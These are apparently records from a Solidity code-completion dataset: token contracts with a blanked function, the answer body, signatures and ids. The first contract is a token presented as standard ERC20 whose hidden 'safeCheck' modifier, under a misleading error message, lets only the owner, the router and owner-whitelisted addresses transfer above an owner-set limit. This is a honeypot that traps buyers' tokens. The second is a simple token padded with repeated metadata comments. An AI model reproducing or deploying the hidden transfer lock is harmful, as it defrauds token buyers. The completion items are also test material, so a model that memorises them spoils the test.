zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //ILUS Coin function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } <FILL_FUNCTION> function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount);
function _burn(address account, uint256 amount) internal virtual
function _burn(address account, uint256 amount) internal virtual
46438
RUSS_PFXXIV_II_883
approve
contract RUSS_PFXXIV_II_883 { mapping (address => uint256) public balanceOf; string public name = " RUSS_PFXXIV_II_883 " ; string public symbol = " RUSS_PFXXIV_II_IMTD " ; uint8 public decimals = 18 ; uint256 public totalSupply = 792519793159009000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_1_____ALFASTRAKHOVANIE_20231101 > // < Oax03K75o9I283yReBg1f53WnB24i0rW0H5P109tW3Z7ciW0T357uMgxjQ2q29E8 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000016417329.998510900000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000000000190D05 > // < RUSS_PFXXIV_II_metadata_line_2_____ALFA_DAO_20231101 > // < n9wa4e1E0LByq49604edmTMy3U2xetN84QP6u06g3jw097T2L81BC2p091hT1kfE > // < u =="0.000000000000000001" : ] 000000016417329.998510900000000000 ; 000000038616667.535204200000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000190D053AECA3 > // < RUSS_PFXXIV_II_metadata_line_3_____ALFA_DAOPI_20231101 > // < GWwYmC7V4EP3HXEM3fWU7O2Z7BFt13rRcnFjXEH8ysmPV3NiqG69FOC1e2gAsKGM > // < u =="0.000000000000000001" : ] 000000038616667.535204200000000000 ; 000000063346097.625443800000000000 ] > // < 0x00000000000000000000000000000000000000000000000000003AECA360A892 > // < RUSS_PFXXIV_II_metadata_line_4_____ALFA_DAC_20231101 > // < LgUi59zHo4Jq74tT3xWAq1v9CYu85y7r9s39iKNx87vIv236HRtNLSb0Y8o1StOp > // < u =="0.000000000000000001" : ] 000000063346097.625443800000000000 ; 000000088022201.296572500000000000 ] > // < 0x000000000000000000000000000000000000000000000000000060A892864FAC > // < RUSS_PFXXIV_II_metadata_line_5_____ALFA_BIMI_20231101 > // < 7TD4tpXzA8Em0ry5AROWoNkJ3kd6y9S9XUD4As1dbLiv2UEAmtPmOFuTciyZ2U3p > // < u =="0.000000000000000001" : ] 000000088022201.296572500000000000 ; 000000111175552.412070000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000864FACA9A3F3 > // < RUSS_PFXXIV_II_metadata_line_6_____SMO_SIBERIA_20231101 > // < l4a48d9tk28fn586ReK3j6X8OIdFkB9hTgXUw0iN9fX1iWQzZ6EFA986OfeJIyFx > // < u =="0.000000000000000001" : ] 000000111175552.412070000000000000 ; 000000127363897.025312000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000A9A3F3C25786 > // < RUSS_PFXXIV_II_metadata_line_7_____SIBERIA_DAO_20231101 > // < QFW7RSxaC125GKyPu4XD463wvVG7I9wUT2F27W3EDkg0S31UeHwFFB7870pBA8Qu > // < u =="0.000000000000000001" : ] 000000127363897.025312000000000000 ; 000000148540759.931991000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000C25786E2A7BC > // < RUSS_PFXXIV_II_metadata_line_8_____SIBERIA_DAOPI_20231101 > // < 0XhIbP0f8CpYwXre4JFe6ZR6NJ2dVmcjMX91nNf0Vbbv22Vo97DPSm9ZcskauhPL > // < u =="0.000000000000000001" : ] 000000148540759.931991000000000000 ; 000000165051164.300834000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000E2A7BCFBD91C > // < RUSS_PFXXIV_II_metadata_line_9_____SIBERIA_DAC_20231101 > // < qq4lX1PJVX9F5cD17uG521xRiX9C0loO2lrj2H6JDIB9H75t58opwmJoaQ10NM89 > // < u =="0.000000000000000001" : ] 000000165051164.300834000000000000 ; 000000182408370.132553000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000FBD91C1165545 > // < RUSS_PFXXIV_II_metadata_line_10_____SIBERIA_BIMI_20231101 > // < 54ao2zTb59a0oEm2nnb5o9GP4T9Gg21X4V6K2f5l8A5VNLhNv8FG350Mzf7x5oZ3 > // < u =="0.000000000000000001" : ] 000000182408370.132553000000000000 ; 000000202861473.420384000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000011655451358AC3 > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_11_____ALFASTRAKHOVANIE_LIFE_20231101 > // < TVikt5HI60ILr767596T9iZ0ht7VGOlRry8tH0jbGrDYndUT0C2cmfJ3B2e7Hj22 > // < u =="0.000000000000000001" : ] 000000202861473.420384000000000000 ; 000000221011002.002595000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001358AC31513C6C > // < RUSS_PFXXIV_II_metadata_line_12_____ALFA_LIFE_DAO_20231101 > // < bp6Rq8mY445d7hX2430YYooYiNmxE1H416XTiVeC56h8DvbszJSRsJPYm3hcXQrv > // < u =="0.000000000000000001" : ] 000000221011002.002595000000000000 ; 000000237634719.103105000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001513C6C16A9A10 > // < RUSS_PFXXIV_II_metadata_line_13_____ALFA_LIFE_DAOPI_20231101 > // < z3s4MMcW2mR0t0grDoZd4D9VH3L073O2F9znRs52as395ftqO15pT51R19qqGKpm > // < u =="0.000000000000000001" : ] 000000237634719.103105000000000000 ; 000000256472444.292328000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000016A9A10187588C > // < RUSS_PFXXIV_II_metadata_line_14_____ALFA_LIFE_DAC_20231101 > // < 7fc9MKZuI6Je5WF8Y2zg7021xYpFGcE793k4472Cfxw66XSp1sor51hdGmsnwaCk > // < u =="0.000000000000000001" : ] 000000256472444.292328000000000000 ; 000000271917447.209354000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000187588C19EE9C1 > // < RUSS_PFXXIV_II_metadata_line_15_____ALFA_LIFE_BIMI_20231101 > // < 3ncCbVcN4z59TDikMKzTIxa4Xu0k4vMQ27e471xoFdnw9OetPxbWStixgxr438Xw > // < u =="0.000000000000000001" : ] 000000271917447.209354000000000000 ; 000000294372108.734802000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000019EE9C11C12D1B > // < RUSS_PFXXIV_II_metadata_line_16_____ALFASTRAKHOVANIE_AVERS_20231101 > // < aG78Jp3B9Hxw0k1f9x35cGI45F21dSP61za4HeHGO9D8w1lMFFL8Az6vcy7IkvTP > // < u =="0.000000000000000001" : ] 000000294372108.734802000000000000 ; 000000316364607.375739000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001C12D1B1E2BBED > // < RUSS_PFXXIV_II_metadata_line_17_____AVERS_DAO_20231101 > // < 47f9DFtZreMqCh4l7N0ITIMvteF7I3So8rm22qCpv3m2Fq9mD4Y3HtO1g9DV084F > // < u =="0.000000000000000001" : ] 000000316364607.375739000000000000 ; 000000334719915.326089000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001E2BBED1FEBDF8 > // < RUSS_PFXXIV_II_metadata_line_18_____AVERS_DAOPI_20231101 > // < L5F05N59Ocn1ZIuvfG86r9lNzjynz95OE23f39OAVO7K8x1C3yhex7q22Xb6M4pd > // < u =="0.000000000000000001" : ] 000000334719915.326089000000000000 ; 000000354918755.561358000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001FEBDF821D9024 > // < RUSS_PFXXIV_II_metadata_line_19_____AVERS_DAC_20231101 > // < cveep350z7x88W944CSlT2BYx95DVycH0421ek1B0IAsU1TVoT9YJNRtO9E6gpg6 > // < u =="0.000000000000000001" : ] 000000354918755.561358000000000000 ; 000000372292478.536944000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000021D902423812C0 > // < RUSS_PFXXIV_II_metadata_line_20_____AVERS_BIMI_20231101 > // < W1UrK91iJeM0xhKCNzZ2WG4xL0VFOb416DSkAOeUjjmM281YQ5zZ21D4105h7f88 > // < u =="0.000000000000000001" : ] 000000372292478.536944000000000000 ; 000000391535625.832875000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000023812C02556F9B > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_21_____ALFASTRAKHOVANIE_PLC_20231101 > // < vpuV7Y7GIioBPajBzTS5ie3W9E6o0f3OS3O59ZG1lbJJ22X2wWaLDZFGMbly6652 > // < u =="0.000000000000000001" : ] 000000391535625.832875000000000000 ; 000000413732501.131512000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002556F9B2774E42 > // < RUSS_PFXXIV_II_metadata_line_22_____ALFASTRA_DAO_20231101 > // < 008X74owq53Nox4PAS1ufxF5V898fj90vOaX8tqqHA1E30pJOVA0R6YQ986fVkFr > // < u =="0.000000000000000001" : ] 000000413732501.131512000000000000 ; 000000435565289.492534000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002774E422989EB1 > // < RUSS_PFXXIV_II_metadata_line_23_____ALFASTRA_DAOPI_20231101 > // < t7uxMwtHmnJVGkr8IciuUU0pVQ7yZ7A7m4xgUVDs2420fmn0x6xVO7LrlG00NxM5 > // < u =="0.000000000000000001" : ] 000000435565289.492534000000000000 ; 000000458750398.098953000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002989EB12BBFF60 > // < RUSS_PFXXIV_II_metadata_line_24_____ALFASTRA_DAC_20231101 > // < z9qEUe1V7aC7Jf4C8m49lG1T3gyYV84zg4dJA582yPIturZGOZDKi0763hGTzFCV > // < u =="0.000000000000000001" : ] 000000458750398.098953000000000000 ; 000000477870797.617751000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002BBFF602D92C48 > // < RUSS_PFXXIV_II_metadata_line_25_____ALFASTRA_BIMI_20231101 > // < MXSrqJAEIjH9yudwmEuy6gW18PP4B8Dh796JZc4bN8b6Pt65C4101688pY80zR35 > // < u =="0.000000000000000001" : ] 000000477870797.617751000000000000 ; 000000496481679.660000000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002D92C482F59228 > // < RUSS_PFXXIV_II_metadata_line_26_____MEDITSINSKAYA_STRAKHOVAYA_KOMP_VIRMED_20231101 > // < jTNBOSWx4IydHeG40Iw27mvwx7UbqOtFFv01uQI4wr94f9a4P7ncAsZ2hpX5Io68 > // < u =="0.000000000000000001" : ] 000000496481679.660000000000000000 ; 000000517178310.921082000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002F5922831526C7 > // < RUSS_PFXXIV_II_metadata_line_27_____VIRMED_DAO_20231101 > // < 66S5oDc0H633XBZ3Z64oR24ShGKv8yP8sPO1kFa6fUMzXsarblVRl3XRW4Vqj17E > // < u =="0.000000000000000001" : ] 000000517178310.921082000000000000 ; 000000540706971.570198000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000031526C73390DA9 > // < RUSS_PFXXIV_II_metadata_line_28_____VIRMED_DAOPI_20231101 > // < Qo7xNgUb8NB0lphiH6HW7c9ykAb6E83WZ7HOl3iTzU2S56Inpx5we8pxa0K3N1q1 > // < u =="0.000000000000000001" : ] 000000540706971.570198000000000000 ; 000000565496131.143225000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003390DA935EE0ED > // < RUSS_PFXXIV_II_metadata_line_29_____VIRMED_DAC_20231101 > // < eS3K0QY86NGg42Z0G1Kw9NihRp4RVjTg88LV2bm6KpAsNxtVJQZRBZs676l9B0dw > // < u =="0.000000000000000001" : ] 000000565496131.143225000000000000 ; 000000582945235.705385000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000035EE0ED37980FC > // < RUSS_PFXXIV_II_metadata_line_30_____VIRMED_BIMI_20231101 > // < Vn8ecaGwWW6NF7S8ec4GE9yWI2QLFd6Fg8a0gW1CJYNr3c9ilsL9jpvf8OH81wy9 > // < u =="0.000000000000000001" : ] 000000582945235.705385000000000000 ; 000000600788952.074354000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000037980FC394BB2F > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_31_____MSK_ASSTRA_20231101 > // < B4V00YiMano5S4fL9PUHq66D76010iwyFF9y9Lg30L7I2Q8e340g6pRuWj8sT70r > // < u =="0.000000000000000001" : ] 000000600788952.074354000000000000 ; 000000623817336.095239000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000394BB2F3B7DEA6 > // < RUSS_PFXXIV_II_metadata_line_32_____ASSTRA_DAO_20231101 > // < 70B1SHXgEjyfvu20rAL0l9iaSUQv4222YRiHSUu1fAUbCC8iUjOG7PYeba8mA7V4 > // < u =="0.000000000000000001" : ] 000000623817336.095239000000000000 ; 000000644171965.656131000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003B7DEA63D6EDAD > // < RUSS_PFXXIV_II_metadata_line_33_____ASSTRA_DAOPI_20231101 > // < kbfK67fwPp641z8CiXoZNbv63WcBb16MC99O63u5r3mo0IJIiZWN4ZW3or29iB5O > // < u =="0.000000000000000001" : ] 000000644171965.656131000000000000 ; 000000661997972.263010000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003D6EDAD3F220F5 > // < RUSS_PFXXIV_II_metadata_line_34_____ASSTRA_DAC_20231101 > // < kk3lV243T1X31Pg9oJvOCIj6l1M9UU3c22m2qd7cnS0xm160QXzVb3NmX1I79K1j > // < u =="0.000000000000000001" : ] 000000661997972.263010000000000000 ; 000000678217639.871391000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003F220F540AE0C4 > // < RUSS_PFXXIV_II_metadata_line_35_____ASSTRA_BIMI_20231101 > // < jzU5D4YPi7SWZd7VWk8GpOl4ZAUhgZrz7kGihCC56A7e1GQDIwqyuC1c1dKU5VL4 > // < u =="0.000000000000000001" : ] 000000678217639.871391000000000000 ; 000000695954696.364195000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000040AE0C4425F14E > // < RUSS_PFXXIV_II_metadata_line_36_____AVICOS_AFES_INSURANCE_GROUP_20231101 > // < ao85q7Mz3e6w0FBtKSR0QheX96QHYN2CjC4P51IPlHW2ZD12eT67InZsmo5305Vc > // < u =="0.000000000000000001" : ] 000000695954696.364195000000000000 ; 000000712165778.600852000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000425F14E43EADC2 > // < RUSS_PFXXIV_II_metadata_line_37_____AVICOS_DAO_20231101 > // < Pq1gIGk9JIn5Vr7FzirC1EaSj1ha9a8h3nLQL5svkT7ViAqW4mom6yO1Y767Cn60 > // < u =="0.000000000000000001" : ] 000000712165778.600852000000000000 ; 000000735779088.336977000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000043EADC2462B5B5 > // < RUSS_PFXXIV_II_metadata_line_38_____AVICOS_DAOPI_20231101 > // < 5Y7qH2uxndT3248TB7d940uOYxSiY4rh21sqt5okSDRxGDRmglhb38620lSfu55h > // < u =="0.000000000000000001" : ] 000000735779088.336977000000000000 ; 000000755794716.555455000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000462B5B54814050 > // < RUSS_PFXXIV_II_metadata_line_39_____AVICOS_DAC_20231101 > // < mY4mKFI62v1M0BF0Z62GW958074189Zurog5e65W474fIFd7F34mCbJbL6423sHQ > // < u =="0.000000000000000001" : ] 000000755794716.555455000000000000 ; 000000772732021.282954000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000481405049B1872 > // < RUSS_PFXXIV_II_metadata_line_40_____AVICOS_BIMI_20231101 > // < 0SnAnD5oz91x46C9m6jNxc2WYBLFjCLl0222wED82oMYbHh1q3qFOWwh453pxRF1 > // < u =="0.000000000000000001" : ] 000000772732021.282954000000000000 ; 000000792519793.159009000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000049B18724B94A0B > }
contract RUSS_PFXXIV_II_883 { mapping (address => uint256) public balanceOf; string public name = " RUSS_PFXXIV_II_883 " ; string public symbol = " RUSS_PFXXIV_II_IMTD " ; uint8 public decimals = 18 ; uint256 public totalSupply = 792519793159009000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; <FILL_FUNCTION> function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_1_____ALFASTRAKHOVANIE_20231101 > // < Oax03K75o9I283yReBg1f53WnB24i0rW0H5P109tW3Z7ciW0T357uMgxjQ2q29E8 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000016417329.998510900000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000000000190D05 > // < RUSS_PFXXIV_II_metadata_line_2_____ALFA_DAO_20231101 > // < n9wa4e1E0LByq49604edmTMy3U2xetN84QP6u06g3jw097T2L81BC2p091hT1kfE > // < u =="0.000000000000000001" : ] 000000016417329.998510900000000000 ; 000000038616667.535204200000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000190D053AECA3 > // < RUSS_PFXXIV_II_metadata_line_3_____ALFA_DAOPI_20231101 > // < GWwYmC7V4EP3HXEM3fWU7O2Z7BFt13rRcnFjXEH8ysmPV3NiqG69FOC1e2gAsKGM > // < u =="0.000000000000000001" : ] 000000038616667.535204200000000000 ; 000000063346097.625443800000000000 ] > // < 0x00000000000000000000000000000000000000000000000000003AECA360A892 > // < RUSS_PFXXIV_II_metadata_line_4_____ALFA_DAC_20231101 > // < LgUi59zHo4Jq74tT3xWAq1v9CYu85y7r9s39iKNx87vIv236HRtNLSb0Y8o1StOp > // < u =="0.000000000000000001" : ] 000000063346097.625443800000000000 ; 000000088022201.296572500000000000 ] > // < 0x000000000000000000000000000000000000000000000000000060A892864FAC > // < RUSS_PFXXIV_II_metadata_line_5_____ALFA_BIMI_20231101 > // < 7TD4tpXzA8Em0ry5AROWoNkJ3kd6y9S9XUD4As1dbLiv2UEAmtPmOFuTciyZ2U3p > // < u =="0.000000000000000001" : ] 000000088022201.296572500000000000 ; 000000111175552.412070000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000864FACA9A3F3 > // < RUSS_PFXXIV_II_metadata_line_6_____SMO_SIBERIA_20231101 > // < l4a48d9tk28fn586ReK3j6X8OIdFkB9hTgXUw0iN9fX1iWQzZ6EFA986OfeJIyFx > // < u =="0.000000000000000001" : ] 000000111175552.412070000000000000 ; 000000127363897.025312000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000A9A3F3C25786 > // < RUSS_PFXXIV_II_metadata_line_7_____SIBERIA_DAO_20231101 > // < QFW7RSxaC125GKyPu4XD463wvVG7I9wUT2F27W3EDkg0S31UeHwFFB7870pBA8Qu > // < u =="0.000000000000000001" : ] 000000127363897.025312000000000000 ; 000000148540759.931991000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000C25786E2A7BC > // < RUSS_PFXXIV_II_metadata_line_8_____SIBERIA_DAOPI_20231101 > // < 0XhIbP0f8CpYwXre4JFe6ZR6NJ2dVmcjMX91nNf0Vbbv22Vo97DPSm9ZcskauhPL > // < u =="0.000000000000000001" : ] 000000148540759.931991000000000000 ; 000000165051164.300834000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000E2A7BCFBD91C > // < RUSS_PFXXIV_II_metadata_line_9_____SIBERIA_DAC_20231101 > // < qq4lX1PJVX9F5cD17uG521xRiX9C0loO2lrj2H6JDIB9H75t58opwmJoaQ10NM89 > // < u =="0.000000000000000001" : ] 000000165051164.300834000000000000 ; 000000182408370.132553000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000FBD91C1165545 > // < RUSS_PFXXIV_II_metadata_line_10_____SIBERIA_BIMI_20231101 > // < 54ao2zTb59a0oEm2nnb5o9GP4T9Gg21X4V6K2f5l8A5VNLhNv8FG350Mzf7x5oZ3 > // < u =="0.000000000000000001" : ] 000000182408370.132553000000000000 ; 000000202861473.420384000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000011655451358AC3 > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_11_____ALFASTRAKHOVANIE_LIFE_20231101 > // < TVikt5HI60ILr767596T9iZ0ht7VGOlRry8tH0jbGrDYndUT0C2cmfJ3B2e7Hj22 > // < u =="0.000000000000000001" : ] 000000202861473.420384000000000000 ; 000000221011002.002595000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001358AC31513C6C > // < RUSS_PFXXIV_II_metadata_line_12_____ALFA_LIFE_DAO_20231101 > // < bp6Rq8mY445d7hX2430YYooYiNmxE1H416XTiVeC56h8DvbszJSRsJPYm3hcXQrv > // < u =="0.000000000000000001" : ] 000000221011002.002595000000000000 ; 000000237634719.103105000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001513C6C16A9A10 > // < RUSS_PFXXIV_II_metadata_line_13_____ALFA_LIFE_DAOPI_20231101 > // < z3s4MMcW2mR0t0grDoZd4D9VH3L073O2F9znRs52as395ftqO15pT51R19qqGKpm > // < u =="0.000000000000000001" : ] 000000237634719.103105000000000000 ; 000000256472444.292328000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000016A9A10187588C > // < RUSS_PFXXIV_II_metadata_line_14_____ALFA_LIFE_DAC_20231101 > // < 7fc9MKZuI6Je5WF8Y2zg7021xYpFGcE793k4472Cfxw66XSp1sor51hdGmsnwaCk > // < u =="0.000000000000000001" : ] 000000256472444.292328000000000000 ; 000000271917447.209354000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000187588C19EE9C1 > // < RUSS_PFXXIV_II_metadata_line_15_____ALFA_LIFE_BIMI_20231101 > // < 3ncCbVcN4z59TDikMKzTIxa4Xu0k4vMQ27e471xoFdnw9OetPxbWStixgxr438Xw > // < u =="0.000000000000000001" : ] 000000271917447.209354000000000000 ; 000000294372108.734802000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000019EE9C11C12D1B > // < RUSS_PFXXIV_II_metadata_line_16_____ALFASTRAKHOVANIE_AVERS_20231101 > // < aG78Jp3B9Hxw0k1f9x35cGI45F21dSP61za4HeHGO9D8w1lMFFL8Az6vcy7IkvTP > // < u =="0.000000000000000001" : ] 000000294372108.734802000000000000 ; 000000316364607.375739000000000000 ] > // < 